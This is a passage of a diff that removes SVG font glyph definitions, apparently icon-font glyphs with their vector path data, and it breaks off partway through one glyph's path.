-    <glyph glyph-name="_575" unicode="&#xf265;" horiz-adv-x="1720" 
-d="M1565 1408q65 0 110 -45.5t45 -110.5v-519q0 -176 -68 -336t-182.5 -275t-274 -182.5t-334.5 -67.5q-176 0 -335.5 67.5t-274.5 182.5t-183 275t-68 336v519q0 64 46 110t110 46h1409zM861 344q47 0 82 33l404 388q37 35 37 85q0 49 -34.5 83.5t-83.5 34.5q-47 0 -82 -33
-l-323 -310l-323 310q-35 33 -81 33q-49 0 -83.5 -34.5t-34.5 -83.5q0 -51 36 -85l405 -388q33 -33 81 -33z" />
-    <glyph glyph-name="_576" unicode="&#xf266;" horiz-adv-x="2304" 
-d="M1494 -103l-295 695q-25 -49 -158.5 -305.5t-198.5 -389.5q-1 -1 -27.5 -0.5t-26.5 1.5q-82 193 -255.5 587t-259.5 596q-21 50 -66.5 107.5t-103.5 100.5t-102 43q0 5 -0.5 24t-0.5 27h583v-50q-39 -2 -79.5 -16t-66.5 -43t-10 -64q26 -59 216.5 -499t235.5 -540
-q31 61 140 266.5t131 247.5q-19 39 -126 281t-136 295q-38 69 -201 71v50l513 -1v-47q-60 -2 -93.5 -25t-12.5 -69q33 -70 87 -189.5t86 -187.5q110 214 173 363q24 55 -10 79.5t-129 26.5q1 7 1 25v24q64 0 170.5 0.5t180 1t92.5 0.5v-49q-62 -2 -119 -33t-90 -81
-l-213 -442q13 -33 127.5 -290t121.5 -274l441 1017q-14 38 -49.5 62.5t-65 31.5t-55.5 8v50l460 -4l1 -2l-1 -44q-139 -4 -201 -145q-526 -1216 -559 -1291h-49z" />
-    <glyph glyph-name="_577" unicode="&#xf267;" horiz-adv-x="1792" 
-d="M949 643q0 -26 -16.5 -45t-41.5 -19q-26 0 -45 16.5t-19 41.5q0 26 17 45t42 19t44 -16.5t19 -41.5zM964 585l350 581q-9 -8 -67.5 -62.5t-125.5 -116.5t-136.5 -127t-117 -110.5t-50.5 -51.5l-349 -580q7 7 67 62t126 116.5t136 127t117 111t50 50.5zM1611 640
-q0 -201 -104 -371q-3 2 -17 11t-26.5 16.5t-16.5 7.5q-13 0 -13 -13q0 -10 59 -44q-74 -112 -184.5 -190.5t-241.5 -110.5l-16 67q-1 10 -15 10q-5 0 -8 -5.5t-2 -9.5l16 -68q-72 -15 -146 -15q-199 0 -372 105q1 2 13 20.5t21.5 33.5t9.5 19q0 13 -13 13q-6 0 -17 -14.5
-t-22.5 -34.5t-13.5 -23q-113 75 -192 187.5t-110 244.5l69 15q10 3 10 15q0 5 -5.5 8t-10.5 2l-68 -15q-14 72 -14 139q0 206 109 379q2 -1 18.5 -12t30 -19t17.5 -8q13 0 13 12q0 6 -12.5 15.5t-32.5 21.5l-20 12q77 112 189 189t244 107l15 -67q2 -10 15 -10q5 0 8 5.5
-t2 10.5l-15 66q71 13 134 13q204 0 379 -109q-39 -56 -39 -65q0 -13 12 -13q11 0 48 64q111 -75 187.5 -186t107.5 -241l-56 -12q-10 -2 -10 -16q0 -5 5.5 -8t9.5 -2l57 13q14 -72 14 -140zM1696 640q0 163 -63.5 311t-170.5 255t-255 170.5t-311 63.5t-311 -63.5
-t-255 -170.5t-170.5 -255t-63.5 -311t63.5 -311t170.5 -255t255 -170.5t311 -63.5t311 63.5t255 170.5t170.5 255t63.5 311zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191
-t191 -286t71 -348z" />
-    <glyph glyph-name="_578" unicode="&#xf268;" horiz-adv-x="1792" 
-d="M893 1536q240 2 451 -120q232 -134 352 -372l-742 39q-160 9 -294 -74.5t-185 -229.5l-276 424q128 159 311 245.5t383 87.5zM146 1131l337 -663q72 -143 211 -217t293 -45l-230 -451q-212 33 -385 157.5t-272.5 316t-99.5 411.5q0 267 146 491zM1732 962
-q58 -150 59.5 -310.5t-48.5 -306t-153 -272t-246 -209.5q-230 -133 -498 -119l405 623q88 131 82.5 290.5t-106.5 277.5zM896 942q125 0 213.5 -88.5t88.5 -213.5t-88.5 -213.5t-213.5 -88.5t-213.5 88.5t-88.5 213.5t88.5 213.5t213.5 88.5z" />
-    <glyph glyph-name="_579" unicode="&#xf269;" horiz-adv-x="1792" 
-d="M903 -256q-283 0 -504.5 150.5t-329.5 398.5q-58 131 -67 301t26 332.5t111 312t179 242.5l-11 -281q11 14 68 15.5t70 -15.5q42 81 160.5 138t234.5 59q-54 -45 -119.5 -148.5t-58.5 -163.5q25 -8 62.5 -13.5t63 -7.5t68 -4t50.5 -3q15 -5 9.5 -45.5t-30.5 -75.5
-q-5 -7 -16.5 -18.5t-56.5 -35.5t-101 -34l15 -189l-139 67q-18 -43 -7.5 -81.5t36 -66.5t65.5 -41.5t81 -6.5q51 9 98 34.5t83.5 45t73.5 17.5q61 -4 89.5 -33t19.5 -65q-1 -2 -2.5 -5.5t-8.5 -12.5t-18 -15.5t-31.5 -10.5t-46.5 -1q-60 -95 -144.5 -135.5t-209.5 -29.5
-q74 -61 162.5 -82.5t168.5 -6t154.5 52t128 87.5t80.5 104q43 91 39 192.5t-37.5 188.5t-78.5 125q87 -38 137 -79.5t77 -112.5q15 170 -57.5 343t-209.5 284q265 -77 412 -279.5t151 -517.5q2 -127 -40.5 -255t-123.5 -238t-189 -196t-247.5 -135.5t-288.5 -49.5z" />
-    <glyph glyph-name="_580" unicode="&#xf26a;" horiz-adv-x="1792" 
-d="M1493 1308q-165 110 -359 110q-155 0 -293 -73t-240 -200q-75 -93 -119.5 -218t-48.5 -266v-42q4 -141 48.5 -266t119.5 -218q102 -127 240 -200t293 -73q194 0 359 110q-121 -108 -274.5 -168t-322.5 -60q-29 0 -43 1q-175 8 -333 82t-272 193t-181 281t-67 339
-q0 182 71 348t191 286t286 191t348 71h3q168 -1 320.5 -60.5t273.5 -167.5zM1792 640q0 -192 -77 -362.5t-213 -296.5q-104 -63 -222 -63q-137 0 -255 84q154 56 253.5 233t99.5 405q0 227 -99 404t-253 234q119 83 254 83q119 0 226 -65q135 -125 210.5 -295t75.5 -361z
-" />
-    <glyph glyph-name="_581" unicode="&#xf26b;" horiz-adv-x="1792" 
-d="M1792 599q0 -56 -7 -104h-1151q0 -146 109.5 -244.5t257.5 -98.5q99 0 185.5 46.5t136.5 130.5h423q-56 -159 -170.5 -281t-267.5 -188.5t-321 -66.5q-187 0 -356 83q-228 -116 -394 -116q-237 0 -237 263q0 115 45 275q17 60 109 229q199 360 475 606
-q-184 -79 -427 -354q63 274 283.5 449.5t501.5 175.5q30 0 45 -1q255 117 433 117q64 0 116 -13t94.5 -40.5t66.5 -76.5t24 -115q0 -116 -75 -286q101 -182 101 -390zM1722 1239q0 83 -53 132t-137 49q-108 0 -254 -70q121 -47 222.5 -131.5t170.5 -195.5q51 135 51 216z
-M128 2q0 -86 48.5 -132.5t134.5 -46.5q115 0 266 83q-122 72 -213.5 183t-137.5 245q-98 -205 -98 -332zM632 715h728q-5 142 -113 237t-251 95q-144 0 -251.5 -95t-112.5 -237z" />
-    <glyph glyph-name="_582" unicode="&#xf26c;" horiz-adv-x="2048" 
-d="M1792 288v960q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1248v-960q0 -66 -47 -113t-113 -47h-736v-128h352q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23
-v64q0 14 9 23t23 9h352v128h-736q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="_583" unicode="&#xf26d;" horiz-adv-x="1792" 
-d="M138 1408h197q-70 -64 -126 -149q-36 -56 -59 -115t-30 -125.5t-8.5 -120t10.5 -132t21 -126t28 -136.5q4 -19 6 -28q51 -238 81 -329q57 -171 152 -275h-272q-48 0 -82 34t-34 82v1304q0 48 34 82t82 34zM1346 1408h308q48 0 82 -34t34 -82v-1304q0 -48 -34 -82t-82 -34
-h-178q212 210 196 565l-469 -101q-2 -45 -12 -82t-31 -72t-59.5 -59.5t-93.5 -36.5q-123 -26 -199 40q-32 27 -53 61t-51.5 129t-64.5 258q-35 163 -45.5 263t-5.5 139t23 77q20 41 62.5 73t102.5 45q45 12 83.5 6.5t67 -17t54 -35t43 -48t34.5 -56.5l468 100
-q-68 175 -180 287z" />
-    <glyph glyph-name="_584" unicode="&#xf26e;" 
-d="M1401 -11l-6 -6q-113 -113 -259 -175q-154 -64 -317 -64q-165 0 -317 64q-148 63 -259 175q-113 112 -175 258q-42 103 -54 189q-4 28 48 36q51 8 56 -20q1 -1 1 -4q18 -90 46 -159q50 -124 152 -226q98 -98 226 -152q132 -56 276 -56q143 0 276 56q128 55 225 152l6 6
-q10 10 25 6q12 -3 33 -22q36 -37 17 -58zM929 604l-66 -66l63 -63q21 -21 -7 -49q-17 -17 -32 -17q-10 0 -19 10l-62 61l-66 -66q-5 -5 -15 -5q-15 0 -31 16l-2 2q-18 15 -18 29q0 7 8 17l66 65l-66 66q-16 16 14 45q18 18 31 18q6 0 13 -5l65 -66l65 65q18 17 48 -13
-q27 -27 11 -44zM1400 547q0 -118 -46 -228q-45 -105 -126 -186q-80 -80 -187 -126t-228 -46t-228 46t-187 126q-82 82 -125 186q-15 33 -15 40h-1q-9 27 43 44q50 16 60 -12q37 -99 97 -167h1v339v2q3 136 102 232q105 103 253 103q147 0 251 -103t104 -249
-q0 -147 -104.5 -251t-250.5 -104q-58 0 -112 16q-28 11 -13 61q16 51 44 43l14 -3q14 -3 33 -6t30 -3q104 0 176 71.5t72 174.5q0 101 -72 171q-71 71 -175 71q-107 0 -178 -80q-64 -72 -64 -160v-413q110 -67 242 -67q96 0 185 36.5t156 103.5t103.5 155t36.5 183
-q0 198 -141 339q-140 140 -339 140q-200 0 -340 -140q-53 -53 -77 -87l-2 -2q-8 -11 -13 -15.5t-21.5 -9.5t-38.5 3q-21 5 -36.5 16.5t-15.5 26.5v680q0 15 10.5 26.5t27.5 11.5h877q30 0 30 -55t-30 -55h-811v-483h1q40 42 102 84t108 61q109 46 231 46q121 0 228 -46
-t187 -126q81 -81 126 -186q46 -112 46 -229zM1369 1128q9 -8 9 -18t-5.5 -18t-16.5 -21q-26 -26 -39 -26q-9 0 -16 7q-106 91 -207 133q-128 56 -276 56q-133 0 -262 -49q-27 -10 -45 37q-9 25 -8 38q3 16 16 20q130 57 299 57q164 0 316 -64q137 -58 235 -152z" />
-    <glyph glyph-name="_585" unicode="&#xf270;" horiz-adv-x="1792" 
-d="M1551 60q15 6 26 3t11 -17.5t-15 -33.5q-13 -16 -44 -43.5t-95.5 -68t-141 -74t-188 -58t-229.5 -24.5q-119 0 -238 31t-209 76.5t-172.5 104t-132.5 105t-84 87.5q-8 9 -10 16.5t1 12t8 7t11.5 2t11.5 -4.5q192 -117 300 -166q389 -176 799 -90q190 40 391 135z
-M1758 175q11 -16 2.5 -69.5t-28.5 -102.5q-34 -83 -85 -124q-17 -14 -26 -9t0 24q21 45 44.5 121.5t6.5 98.5q-5 7 -15.5 11.5t-27 6t-29.5 2.5t-35 0t-31.5 -2t-31 -3t-22.5 -2q-6 -1 -13 -1.5t-11 -1t-8.5 -1t-7 -0.5h-5.5h-4.5t-3 0.5t-2 1.5l-1.5 3q-6 16 47 40t103 30
-q46 7 108 1t76 -24zM1364 618q0 -31 13.5 -64t32 -58t37.5 -46t33 -32l13 -11l-227 -224q-40 37 -79 75.5t-58 58.5l-19 20q-11 11 -25 33q-38 -59 -97.5 -102.5t-127.5 -63.5t-140 -23t-137.5 21t-117.5 65.5t-83 113t-31 162.5q0 84 28 154t72 116.5t106.5 83t122.5 57
-t130 34.5t119.5 18.5t99.5 6.5v127q0 65 -21 97q-34 53 -121 53q-6 0 -16.5 -1t-40.5 -12t-56 -29.5t-56 -59.5t-48 -96l-294 27q0 60 22 119t67 113t108 95t151.5 65.5t190.5 24.5q100 0 181 -25t129.5 -61.5t81 -83t45 -86t12.5 -73.5v-589zM692 597q0 -86 70 -133
-q66 -44 139 -22q84 25 114 123q14 45 14 101v162q-59 -2 -111 -12t-106.5 -33.5t-87 -71t-32.5 -114.5z" />
-    <glyph glyph-name="_586" unicode="&#xf271;" horiz-adv-x="1792" 
-d="M1536 1280q52 0 90 -38t38 -90v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128zM1152 1376v-288q0 -14 9 -23t23 -9
-h64q14 0 23 9t9 23v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 1376v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM1536 -128v1024h-1408v-1024h1408zM896 448h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224
-v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v224q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-224z" />
-    <glyph glyph-name="_587" unicode="&#xf272;" horiz-adv-x="1792" 
-d="M1152 416v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23
-t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47
-t47 -113v-96h128q52 0 90 -38t38 -90z" />
-    <glyph glyph-name="_588" unicode="&#xf273;" horiz-adv-x="1792" 
-d="M1111 151l-46 -46q-9 -9 -22 -9t-23 9l-188 189l-188 -189q-10 -9 -23 -9t-22 9l-46 46q-9 9 -9 22t9 23l189 188l-189 188q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l188 -188l188 188q10 9 23 9t22 -9l46 -46q9 -9 9 -22t-9 -23l-188 -188l188 -188q9 -10 9 -23t-9 -22z
-M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280
-q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
-    <glyph glyph-name="_589" unicode="&#xf274;" horiz-adv-x="1792" 
-d="M1303 572l-512 -512q-10 -9 -23 -9t-23 9l-288 288q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l220 -220l444 444q10 9 23 9t22 -9l46 -46q9 -9 9 -22t-9 -23zM128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23
-t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47
-t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
-    <glyph glyph-name="_590" unicode="&#xf275;" horiz-adv-x="1792" 
-d="M448 1536q26 0 45 -19t19 -45v-891l536 429q17 14 40 14q26 0 45 -19t19 -45v-379l536 429q17 14 40 14q26 0 45 -19t19 -45v-1152q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h384z" />
-    <glyph glyph-name="_591" unicode="&#xf276;" horiz-adv-x="1024" 
-d="M512 448q66 0 128 15v-655q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v655q62 -15 128 -15zM512 1536q212 0 362 -150t150 -362t-150 -362t-362 -150t-362 150t-150 362t150 362t362 150zM512 1312q14 0 23 9t9 23t-9 23t-23 9q-146 0 -249 -103t-103 -249
-q0 -14 9 -23t23 -9t23 9t9 23q0 119 84.5 203.5t203.5 84.5z" />
-    <glyph glyph-name="_592" unicode="&#xf277;" horiz-adv-x="1792" 
-d="M1745 1239q10 -10 10 -23t-10 -23l-141 -141q-28 -28 -68 -28h-1344q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h576v64q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-64h512q40 0 68 -28zM768 320h256v-512q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v512zM1600 768
-q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-1344q-40 0 -68 28l-141 141q-10 10 -10 23t10 23l141 141q28 28 68 28h512v192h256v-192h576z" />
-    <glyph glyph-name="_593" unicode="&#xf278;" horiz-adv-x="2048" 
-d="M2020 1525q28 -20 28 -53v-1408q0 -20 -11 -36t-29 -23l-640 -256q-24 -11 -48 0l-616 246l-616 -246q-10 -5 -24 -5q-19 0 -36 11q-28 20 -28 53v1408q0 20 11 36t29 23l640 256q24 11 48 0l616 -246l616 246q32 13 60 -6zM736 1390v-1270l576 -230v1270zM128 1173
-v-1270l544 217v1270zM1920 107v1270l-544 -217v-1270z" />
-    <glyph glyph-name="_594" unicode="&#xf279;" horiz-adv-x="1792" 
-d="M512 1536q13 0 22.5 -9.5t9.5 -22.5v-1472q0 -20 -17 -28l-480 -256q-7 -4 -15 -4q-13 0 -22.5 9.5t-9.5 22.5v1472q0 20 17 28l480 256q7 4 15 4zM1760 1536q13 0 22.5 -9.5t9.5 -22.5v-1472q0 -20 -17 -28l-480 -256q-7 -4 -15 -4q-13 0 -22.5 9.5t-9.5 22.5v1472
-q0 20 17 28l480 256q7 4 15 4zM640 1536q8 0 14 -3l512 -256q18 -10 18 -29v-1472q0 -13 -9.5 -22.5t-22.5 -9.5q-8 0 -14 3l-512 256q-18 10 -18 29v1472q0 13 9.5 22.5t22.5 9.5z" />
-    <glyph glyph-name="_595" unicode="&#xf27a;" horiz-adv-x="1792" 
-d="M640 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 640q0 53 -37.5 90.5t-90.5 37.5
-t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-110 0 -211 18q-173 -173 -435 -229q-52 -10 -86 -13q-12 -1 -22 6t-13 18q-4 15 20 37q5 5 23.5 21.5t25.5 23.5t23.5 25.5t24 31.5t20.5 37
-t20 48t14.5 57.5t12.5 72.5q-146 90 -229.5 216.5t-83.5 269.5q0 174 120 321.5t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
-    <glyph glyph-name="_596" unicode="&#xf27b;" horiz-adv-x="1792" 
-d="M640 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1024 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 -53 -37.5 -90.5t-90.5 -37.5
-t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5
-t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51
-t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 130 71 248.5t191 204.5t286 136.5t348 50.5t348 -50.5t286 -136.5t191 -204.5t71 -248.5z" />
-    <glyph glyph-name="_597" unicode="&#xf27c;" horiz-adv-x="1024" 
-d="M512 345l512 295v-591l-512 -296v592zM0 640v-591l512 296zM512 1527v-591l-512 -296v591zM512 936l512 295v-591z" />
-    <glyph glyph-name="_598" unicode="&#xf27d;" horiz-adv-x="1792" 
-d="M1709 1018q-10 -236 -332 -651q-333 -431 -562 -431q-142 0 -240 263q-44 160 -132 482q-72 262 -157 262q-18 0 -127 -76l-77 98q24 21 108 96.5t130 115.5q156 138 241 146q95 9 153 -55.5t81 -203.5q44 -287 66 -373q55 -249 120 -249q51 0 154 161q101 161 109 246
-q13 139 -109 139q-57 0 -121 -26q120 393 459 382q251 -8 236 -326z" />
-    <glyph glyph-name="f27e" unicode="&#xf27e;" 
-d="M0 1408h1536v-1536h-1536v1536zM1085 293l-221 631l221 297h-634l221 -297l-221 -631l317 -304z" />
-    <glyph glyph-name="uniF280" unicode="&#xf280;" 
-d="M0 1408h1536v-1536h-1536v1536zM908 1088l-12 -33l75 -83l-31 -114l25 -25l107 57l107 -57l25 25l-31 114l75 83l-12 33h-95l-53 96h-32l-53 -96h-95zM641 925q32 0 44.5 -16t11.5 -63l174 21q0 55 -17.5 92.5t-50.5 56t-69 25.5t-85 7q-133 0 -199 -57.5t-66 -182.5v-72
-h-96v-128h76q20 0 20 -8v-382q0 -14 -5 -20t-18 -7l-73 -7v-88h448v86l-149 14q-6 1 -8.5 1.5t-3.5 2.5t-0.5 4t1 7t0.5 10v387h191l38 128h-231q-6 0 -2 6t4 9v80q0 27 1.5 40.5t7.5 28t19.5 20t36.5 5.5zM1248 96v86l-54 9q-7 1 -9.5 2.5t-2.5 3t1 7.5t1 12v520h-275
-l-23 -101l83 -22q23 -7 23 -27v-370q0 -14 -6 -18.5t-20 -6.5l-70 -9v-86h352z" />
-    <glyph glyph-name="uniF281" unicode="&#xf281;" horiz-adv-x="1792" 
-d="M1792 690q0 -58 -29.5 -105.5t-79.5 -72.5q12 -46 12 -96q0 -155 -106.5 -287t-290.5 -208.5t-400 -76.5t-399.5 76.5t-290 208.5t-106.5 287q0 47 11 94q-51 25 -82 73.5t-31 106.5q0 82 58 140.5t141 58.5q85 0 145 -63q218 152 515 162l116 521q3 13 15 21t26 5
-l369 -81q18 37 54 59.5t79 22.5q62 0 106 -43.5t44 -105.5t-44 -106t-106 -44t-105.5 43.5t-43.5 105.5l-334 74l-104 -472q300 -9 519 -160q58 61 143 61q83 0 141 -58.5t58 -140.5zM418 491q0 -62 43.5 -106t105.5 -44t106 44t44 106t-44 105.5t-106 43.5q-61 0 -105 -44
-t-44 -105zM1228 136q11 11 11 26t-11 26q-10 10 -25 10t-26 -10q-41 -42 -121 -62t-160 -20t-160 20t-121 62q-11 10 -26 10t-25 -10q-11 -10 -11 -25.5t11 -26.5q43 -43 118.5 -68t122.5 -29.5t91 -4.5t91 4.5t122.5 29.5t118.5 68zM1225 341q62 0 105.5 44t43.5 106
-q0 61 -44 105t-105 44q-62 0 -106 -43.5t-44 -105.5t44 -106t106 -44z" />
-    <glyph glyph-name="_602" unicode="&#xf282;" horiz-adv-x="1792" 
-d="M69 741h1q16 126 58.5 241.5t115 217t167.5 176t223.5 117.5t276.5 43q231 0 414 -105.5t294 -303.5q104 -187 104 -442v-188h-1125q1 -111 53.5 -192.5t136.5 -122.5t189.5 -57t213 -3t208 46.5t173.5 84.5v-377q-92 -55 -229.5 -92t-312.5 -38t-316 53
-q-189 73 -311.5 249t-124.5 372q-3 242 111 412t325 268q-48 -60 -78 -125.5t-46 -159.5h635q8 77 -8 140t-47 101.5t-70.5 66.5t-80.5 41t-75 20.5t-56 8.5l-22 1q-135 -5 -259.5 -44.5t-223.5 -104.5t-176 -140.5t-138 -163.5z" />
-    <glyph glyph-name="_603" unicode="&#xf283;" horiz-adv-x="2304" 
-d="M0 32v608h2304v-608q0 -66 -47 -113t-113 -47h-1984q-66 0 -113 47t-47 113zM640 256v-128h384v128h-384zM256 256v-128h256v128h-256zM2144 1408q66 0 113 -47t47 -113v-224h-2304v224q0 66 47 113t113 47h1984z" />
-    <glyph glyph-name="_604" unicode="&#xf284;" horiz-adv-x="1792" 
-d="M1584 246l-218 111q-74 -120 -196.5 -189t-263.5 -69q-147 0 -271 72t-196 196t-72 270q0 110 42.5 209.5t115 172t172 115t209.5 42.5q131 0 247.5 -60.5t192.5 -168.5l215 125q-110 169 -286.5 265t-378.5 96q-161 0 -308 -63t-253 -169t-169 -253t-63 -308t63 -308
-t169 -253t253 -169t308 -63q213 0 397.5 107t290.5 292zM1030 643l693 -352q-116 -253 -334.5 -400t-492.5 -147q-182 0 -348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71q260 0 470.5 -133.5t335.5 -366.5zM1543 640h-39v-160h-96v352h136q32 0 54.5 -20
-t28.5 -48t1 -56t-27.5 -48t-57.5 -20z" />
-    <glyph glyph-name="uniF285" unicode="&#xf285;" horiz-adv-x="1792" 
-d="M1427 827l-614 386l92 151h855zM405 562l-184 116v858l1183 -743zM1424 697l147 -95v-858l-532 335zM1387 718l-500 -802h-855l356 571z" />
-    <glyph glyph-name="uniF286" unicode="&#xf286;" horiz-adv-x="1792" 
-d="M640 528v224q0 16 -16 16h-96q-16 0 -16 -16v-224q0 -16 16 -16h96q16 0 16 16zM1152 528v224q0 16 -16 16h-96q-16 0 -16 -16v-224q0 -16 16 -16h96q16 0 16 16zM1664 496v-752h-640v320q0 80 -56 136t-136 56t-136 -56t-56 -136v-320h-640v752q0 16 16 16h96
-q16 0 16 -16v-112h128v624q0 16 16 16h96q16 0 16 -16v-112h128v112q0 16 16 16h96q16 0 16 -16v-112h128v112q0 6 2.5 9.5t8.5 5t9.5 2t11.5 0t9 -0.5v391q-32 15 -32 50q0 23 16.5 39t38.5 16t38.5 -16t16.5 -39q0 -35 -32 -50v-17q45 10 83 10q21 0 59.5 -7.5t54.5 -7.5
-q17 0 47 7.5t37 7.5q16 0 16 -16v-210q0 -15 -35 -21.5t-62 -6.5q-18 0 -54.5 7.5t-55.5 7.5q-40 0 -90 -12v-133q1 0 9 0.5t11.5 0t9.5 -2t8.5 -5t2.5 -9.5v-112h128v112q0 16 16 16h96q16 0 16 -16v-112h128v112q0 16 16 16h96q16 0 16 -16v-624h128v112q0 16 16 16h96
-q16 0 16 -16z" />
-    <glyph glyph-name="_607" unicode="&#xf287;" horiz-adv-x="2304" 
-d="M2288 731q16 -8 16 -27t-16 -27l-320 -192q-8 -5 -16 -5q-9 0 -16 4q-16 10 -16 28v128h-858q37 -58 83 -165q16 -37 24.5 -55t24 -49t27 -47t27 -34t31.5 -26t33 -8h96v96q0 14 9 23t23 9h320q14 0 23 -9t9 -23v-320q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v96h-96
-q-32 0 -61 10t-51 23.5t-45 40.5t-37 46t-33.5 57t-28.5 57.5t-28 60.5q-23 53 -37 81.5t-36 65t-44.5 53.5t-46.5 17h-360q-22 -84 -91 -138t-157 -54q-106 0 -181 75t-75 181t75 181t181 75q88 0 157 -54t91 -138h104q24 0 46.5 17t44.5 53.5t36 65t37 81.5q19 41 28 60.5
-t28.5 57.5t33.5 57t37 46t45 40.5t51 23.5t61 10h107q21 57 70 92.5t111 35.5q80 0 136 -56t56 -136t-56 -136t-136 -56q-62 0 -111 35.5t-70 92.5h-107q-17 0 -33 -8t-31.5 -26t-27 -34t-27 -47t-24 -49t-24.5 -55q-46 -107 -83 -165h1114v128q0 18 16 28t32 -1z" />
-    <glyph glyph-name="_608" unicode="&#xf288;" horiz-adv-x="1792" 
-d="M1150 774q0 -56 -39.5 -95t-95.5 -39h-253v269h253q56 0 95.5 -39.5t39.5 -95.5zM1329 774q0 130 -91.5 222t-222.5 92h-433v-896h180v269h253q130 0 222 91.5t92 221.5zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348
-t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
-    <glyph glyph-name="_609" unicode="&#xf289;" horiz-adv-x="2304" 
-d="M1645 438q0 59 -34 106.5t-87 68.5q-7 -45 -23 -92q-7 -24 -27.5 -38t-44.5 -14q-12 0 -24 3q-31 10 -45 38.5t-4 58.5q23 71 23 143q0 123 -61 227.5t-166 165.5t-228 61q-134 0 -247 -73t-167 -194q108 -28 188 -106q22 -23 22 -55t-22 -54t-54 -22t-55 22
